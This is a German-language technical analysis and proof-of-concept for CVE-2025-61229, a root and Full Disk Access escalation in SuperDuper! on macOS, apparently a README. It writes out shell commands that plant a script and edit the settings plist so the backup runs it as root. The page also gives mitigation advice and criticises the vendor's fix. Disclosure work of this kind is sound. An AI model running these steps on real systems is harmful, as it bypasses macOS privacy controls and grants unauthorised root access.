graypixel2121/cve-2025-61229Technische Analyse und Proof-of-Concept-Exploit für CVE-2025-61229, eine lokale Privilegieneskalation in SuperDuper!, die die Ausführung beliebiger Skripte mit Root- und vollständigem Festplattenzugriff auf macOS ermöglicht.
Aus dem Blog des Entwicklers:
Benutzereinstellbare Vorher/Nachher-Shell-Skripte werden mit erhöhten Rechten ausgeführt, mit SuperDupers TCC Full Disk Access-Berechtigungen. Da diese Shell-Skripte von den Einstellungsdateien für den Kopier- oder Zeitplan referenziert werden, könnte ein böswilliger Akteur diese Einstellungen ändern, um sein eigenes Skript auszuführen.
Aus dem CVE:
Ein Problem in Shirt Pocket's SuperDuper! 3.10 und früher ermöglicht einem lokalen Angreifer, die Standardvorlage für Aufgaben zu ändern, um ein beliebiges Preflight-Skript mit Root-Rechten und Full Disk Access auszuführen und so die macOS-Datenschutzkontrollen zu umgehen.
Dieser Autor ist nicht der Entdecker der Sicherheitslücke, der vom SuperDuper-Entwickler als „anonymer Sicherheitsforscher“ identifiziert wird. Ich beanspruche keine Anerkennung für die Entdeckung dieser Sicherheitslücke, ich habe lediglich ein Interesse daran, eine technische Analyse durchzuführen.
CVSS 3.1 Wert: 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Um diese Sicherheitslücke zu vermeiden, löschen Sie entweder die SuperDuper!-Anwendung oder wenden Sie das 3.11-Update an.
Warnung: Sie müssen das Update direkt von der Website des Entwicklers herunterladen, um die Sicherheitslücke CVE-2025-61228 zu vermeiden.
Diese Exploit-Analyse und der Proof of Concept werden nur zu Bildungszwecken bereitgestellt. Verwenden Sie es auf eigenes Risiko.
Root-Rechte und Full Disk Access sind die höchsten Berechtigungen, die Software auf macOS erlangen kann. Jeder Entwickler, der diese Berechtigungen verlangt, sollte Software schreiben, die modernen Sicherheitsdesignprinzipien und Best Practices entspricht. Diese Sicherheitslücke, zusammen mit den in CVE-2025-57489 und CVE-2025-61228 offengelegten, sowie das eigene Eingeständnis des Entwicklers, dass diese Probleme seit 22 Jahren bestehen, zeigen, dass SuperDuper nicht entworfen wurde, um ein sicheres Produkt zu sein, und dass es über 22 Jahre keine regelmäßigen Designverbesserungen erhalten hat, um modernen Sicherheitsbest Practices zu entsprechen.
SuperDuper-Aufgabeneinstellungen sind auch in der aktuellen Version (3.11) des Produkts von Natur aus unsicher. Ich rate jedem, der dieses Produkt verwendet, die Nutzung einzustellen, bis der Entwickler ein kompetentes Update bereitstellt, das alle oben genannten Sicherheitsbedenken gründlich behebt.
Diese Sicherheitslücke war viel einfacher auszunutzen als die beiden vorherigen Exploits (CVE-2025-57489 und CVE-2025-61228) – ehrlich gesagt war es einfach zu einfach. Wenn eine Sicherheitslücke so offensichtlich, leicht auszunutzen und jahrzehntelang unbeachtet geblieben ist, fragt man sich, ob dem Entwickler das Schreiben sicherer Software wichtig ist.
Ausgehend von einer verwundbaren Version der Anwendung müssen wir zuerst herausfinden, wo diese „Standardaufgabenvorlage“ lebt. Der offensichtlichste Ort zum Suchen wäre ~/Library/Application Support/{Hersteller/Produktname}. Genau, es gibt drei Ordner in ~/Library/Application Support/SuperDuper!:
„Copy Scripts“ enthält nur einen Symlink zu einem Ordner im Anwendungsbundle, also fällt das weg. Im Inneren von Saved Settings gibt es einen versteckten Ordner namens „.Default Settings.sdsp“. In diesem Ordner gibt es einen „Logs“-Ordner und eine einzelne Datei namens „Session Settings.sdss“ im plist-Format. Die Datei Session Settings gehört dem angemeldeten Benutzer, und ja, dort sind alle Aufgabeneinstellungen, einfach so offen in dieser Datei.
Die Vorher/Nachher-Skripte werden durch vier Einstellungen gesteuert:
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
Dieses einfache Testskript wird beide Aspekte der Sicherheitslücke beweisen:
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
Dann bearbeiten Sie einfach die plist-Datei „Session Settings.sdss“. Das Dienstprogramm defaults erledigt das schnell, aber wir müssen eine Kopie dieser Datei erstellen, da defaults eine Datei mit der Endung .plist benötigt:
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
Öffnen Sie SuperDuper und führen Sie ein Backup aus. Wenn es fertig ist, suchen Sie nach der Datei „private_data.txt“ in /Library (sie sollte eine Liste von Dateien von Ihrem Desktop enthalten, die nur für eine Anwendung zugänglich wäre, die das spezielle Privileg hat, auf diese privaten Daten zuzugreifen). Ehrlich gesagt bin ich ein wenig überrascht, wie verwundbar die Aufgabeneinstellungen sind. „Are“ ist kein Tippfehler. Hier ist, wie der Entwickler die „Lösung“ für diese Sicherheitslücke beschreibt:
Um diese Sicherheitslücke zu mildern, haben wir in v3.11 zwei Änderungen vorgenommen:
Vorher/Nachher-Shell-Skripte werden gezwungen, mit der Benutzer-ID und den Berechtigungen des Benutzers ausgeführt zu werden. Personen, die alternative Ausführungskontexte benötigen, können dies durch normale Unix-Methoden wie suid tun.
Skripte müssen dem Root-Benutzer gehören, auch wenn sie im normalen Benutzerkontext ausgeführt werden. Dies stellt sicher, dass jedes Skript, das ausgeführt wird, explizit von einem Administrator genehmigt wurde.
Also haben sie einige Einschränkungen auferlegt, was als Vorher/Nachher-Skript ausgeführt werden kann, aber sie scheinen die Sicherheit der Aufgabeneinstellungsdatei nicht verbessert zu haben. Leider ist dies nur wirksam, um den Angreifer daran zu hindern, etwas Produktives zu tun. Die einzige Anforderung an das Vorher/Nachher-Shell-Skript ist, dass es Root gehört. Abgesehen davon hat der Angreifer immer noch freie Hand, die Standardvorlage für Aufgabeneinstellungen zu ändern. Das ist völlig absurd. Vielleicht kann ein Angreifer diese Vorher/Nachher-Skripte nicht nutzen, um Ihre Passwörter und Finanzdaten zu exfiltrieren, aber ich wette, er könnte einiges Chaos anrichten, indem er ein beliebiges integriertes Shell-Werkzeug angibt (die meisten erfüllen die Root-Eigentumsvoraussetzung). Probieren Sie es aus und setzen Sie das Dienstprogramm „/usr/bin/say“ als Vorher-Skript ein und sehen Sie, was passiert – das wäre urkomisch, wenn Datensicherheit nicht so ein ernstes Thema wäre. Keines der integrierten Dienstprogramme wird erhebliche Auswirkungen haben, ohne die Argumente ändern zu können, aber einige könnten Ärger verursachen und werden definitiv dazu führen, dass das Backup fehlschlägt.
Mein Punkt ist, dass es einen Unterschied gibt zwischen „einen Root-Exploit vermeiden“ und „sichere Software schreiben“. Der Entwickler hat es weitgehend geschafft, zwei Root-Exploit-Möglichkeiten hier zu vermeiden, aber die Aufgabenkonfiguration ist immer noch von Natur aus unsicher. Jeder x-beliebige kann die Aufgabeneinstellungen „hinter den Kulissen“ ändern, und wenn Sie nicht aufpassen, könnten diese Änderungen irgendeine Auswirkung auf Ihre Daten oder Ihr Backup haben.
Sie müssen sich auch fragen, ob dieser Mangel an Sicherheit bei den anderen Einstellungen immer noch ausgenutzt werden könnte.